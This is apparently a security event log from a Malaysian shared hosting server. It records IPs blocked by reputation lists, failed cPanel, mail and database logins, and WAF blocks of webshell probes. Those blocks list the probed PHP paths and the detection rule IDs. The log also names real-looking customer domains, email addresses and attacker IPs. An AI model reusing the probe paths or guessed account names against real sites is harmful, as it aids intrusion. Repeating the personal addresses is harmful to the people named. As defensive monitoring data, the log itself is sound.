Jan 16 04:46:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.243.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.107.82
country_id: 3865483
description:
Jan 16 04:46:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.107.82 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.133.247.42
country_id: 1210997
description:
[2026-01-16 04:46:53 +0800] info [cpaneld] 103.133.247.42 - dynamichrcommy "GET /login/?login_only=1&user=dynamichrcommy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dynamichrcommy (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.58.9.109
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-46.31.58.9.109||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.205.11.192
country_id: 290557
description:
[2026-01-16 04:46:43 +0800] info [cpaneld] 94.205.11.192 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/img/photos/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.125.246.46
country_id: 1733045
description:
[2026-01-16 04:47:02 +0800] info [cpaneld] 27.125.246.46 - dyna "GET /login/?login_only=1&user=dyna&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dyna (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.21.16
country_id: 2300660
description:
Jan 16 04:51:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.21.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.14.131.25
country_id: 1814991
description:
Jan 16 04:51:49 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.14.131.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.25
country_id: 1814991
description:
2026-01-16 04:51:51 dovecot_login authenticator failed for H=(wkqlt) [113.14.131.25]:56202: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.14.131.25
country_id: 1814991
description:
Jan 16 04:52:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.14.131.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.0.94
country_id: 2300660
description:
Jan 16 04:52:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.0.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.25
country_id: 1814991
description:
2026-01-16 04:51:59 dovecot_login authenticator failed for H=(eyqtn) [113.14.131.25]:56202: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.91
country_id: 2510769
description:
Jan 16 04:52:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.167
country_id: 690791
description:
2026-01-16 04:53:10 H=([77.83.39.167]) [77.83.39.167]:56518 F=<stevenwelboun@op.pl> rejected RCPT <gopro@oxbold.com>: No Such User Here


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.236.85.111
country_id: 3469034
description:
Jan 16 04:58:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.236.85.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.99
country_id: 3175395
description:
Jan 16 04:58:42 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.211
country_id: 6290252
description:
Jan 16 04:58:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.211
country_id: 6290252
description:
Jan 16 04:58:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.211 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.104.244.245
country_id: 1814991
description:
2026-01-16 04:59:05 dovecot_login authenticator failed for H=(hvfhg) [171.104.244.245]:64855: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.7
country_id: 2395170
description:
Jan 16 04:59:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.80.146.148
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/from/18/727/1884745 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/img/photos/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.190.238.30
country_id: 2921044
domain: www.kendek.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.181.28.240
country_id: 3469034
description:
Jan 16 05:02:31 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.181.28.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/images/home/csr.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 05:03:58 H=([178.16.53.2]) [178.16.53.2]:63473 F=<kehk@kek.com.hk> rejected RCPT <zurina@astlog.com.my>: SPF: 178.16.53.2 is not allowed to send mail from kek.com.hk


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.108.153
country_id: 798544
description:
Jan 16 05:04:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.108.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.65.142.69
country_id: 798544
description:
Jan 16 05:04:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.65.142.69 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/photos/awards.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.149
country_id: 3175395
description:
Jan 16 05:06:27 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.51.201
country_id: 3175395
description:
Jan 16 05:06:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.51.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.7
country_id: 690791
description:
Jan 16 05:06:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.216
country_id: 3469034
description:
Jan 16 05:07:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 05:08:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57527: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/druma_photos/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/home/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 05:10:50 H=([178.16.53.2]) [178.16.53.2]:58672 F=<kehk@kek.com.hk> rejected RCPT <zainuddin@astlog.com.my>: No Such User Here


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.84.113.5
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-11.91.84.113.5||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.23
country_id: 1814991
description:
2026-01-16 05:14:27 dovecot_login authenticator failed for H=(psxrj) [113.14.131.23]:49509: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.23
country_id: 1814991
description:
2026-01-16 05:15:01 dovecot_login authenticator failed for H=(wbnau) [113.14.131.23]:49509: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.102
country_id: 3469034
description:
Jan 16 05:15:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.102
country_id: 3469034
description:
Jan 16 05:16:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.77
country_id: 3175395
description:
Jan 16 05:16:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.77
country_id: 3175395
description:
Jan 16 05:16:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.77 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.47.104.5
country_id: 357994
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/polyfill-mbstring/Resources/unidata HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.217.101.88
country_id: 3996063
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/polyfill-mbstring/Resources/unidata/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.38.2.152
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/phpdocumentor/reflection-docblock/src HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.249.64.18
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/phpdocumentor/reflection-docblock/src/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.141.6
country_id: 3469034
description:
Jan 16 05:19:36 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.141.6 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/m.me/img/private-residence.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.255.183.91
country_id: 3865483
description:
Jan 16 05:20:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.255.183.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 05:20:21 H=([178.16.53.2]) [178.16.53.2]:62686 F=<kehk@kek.com.hk> rejected RCPT <info@aire-fresh.com>: SPF: 178.16.53.2 is not allowed to send mail from kek.com.hk


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.14.131.23
country_id: 1814991
description:
Jan 16 05:26:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.14.131.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.23
country_id: 1814991
description:
2026-01-16 05:26:58 dovecot_login authenticator failed for H=(ozuqu) [113.14.131.23]:58253: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.14.131.23
country_id: 1814991
description:
Jan 16 05:27:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.14.131.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.11.77
country_id: 690791
description:
Jan 16 05:29:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.11.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.63.14
country_id: 953987
description:
Jan 16 05:29:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.63.14 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 218.85.36.220
country_id: 1814991
description:
2026-01-16  5:30:27 145397 [Warning] Aborted connection 145397 to db: 'unconnected' user: 'unauthenticated' host: '218.85.36.220' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 112.111.22.21
country_id: 1814991
description:
2026-01-16  5:30:26 145394 [Warning] Aborted connection 145394 to db: 'unconnected' user: 'unauthenticated' host: '112.111.22.21' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.143.244.198
country_id: 1814991
description:
2026-01-16 05:35:06 dovecot_login authenticator failed for H=(ukjza) [180.143.244.198]:50479: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 05:36:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57553: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/img/photos/commercial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.113.0.135
country_id: 2260494
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Multi H.D/Multi Purpose  front-150x150.JPG HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.124
country_id: 3469034
description:
Jan 16 05:39:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.124 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.0.40.6
country_id: 3865483
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Multi H.D/Multi Purpose  H.D-1 r1-250x250.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.107.82
country_id: 3865483
description:
Jan 16 05:40:27 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.107.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.5.86
country_id: 2395170
description:
Jan 16 05:41:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.5.86 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.143.244.198
country_id: 1814991
description:
Jan 16 05:46:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.143.244.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.143.244.198
country_id: 1814991
description:
2026-01-16 05:46:03 dovecot_login authenticator failed for H=(iihak) [180.143.244.198]:59245: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 117.220.57.16
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/inkinterest/17/571/1714574 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.81.154.201
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Multi L/Multi Purpose  L-1 r1-120x120.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.81.154.201
country_id: 1880251
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/image/cache/catalog/Image/Products/Multi L/Multi Purpose  L-1 r1-120x120.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.191.111.24
country_id: 3996063
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/img/photos/337920.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.238.45.242
country_id: 99237
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/img/photos/964191.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.3.227
country_id: 690791
description:
Jan 16 05:50:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.3.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.122.7
country_id: 798544
description:
Jan 16 05:50:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.122.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.183.49.235
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/20readexcel5.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 96.62.4.39
country_id: 6252001
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/4160942458.jpg&size=262*388 HTTP/1.1||RSV:7.63||T:APACHE||


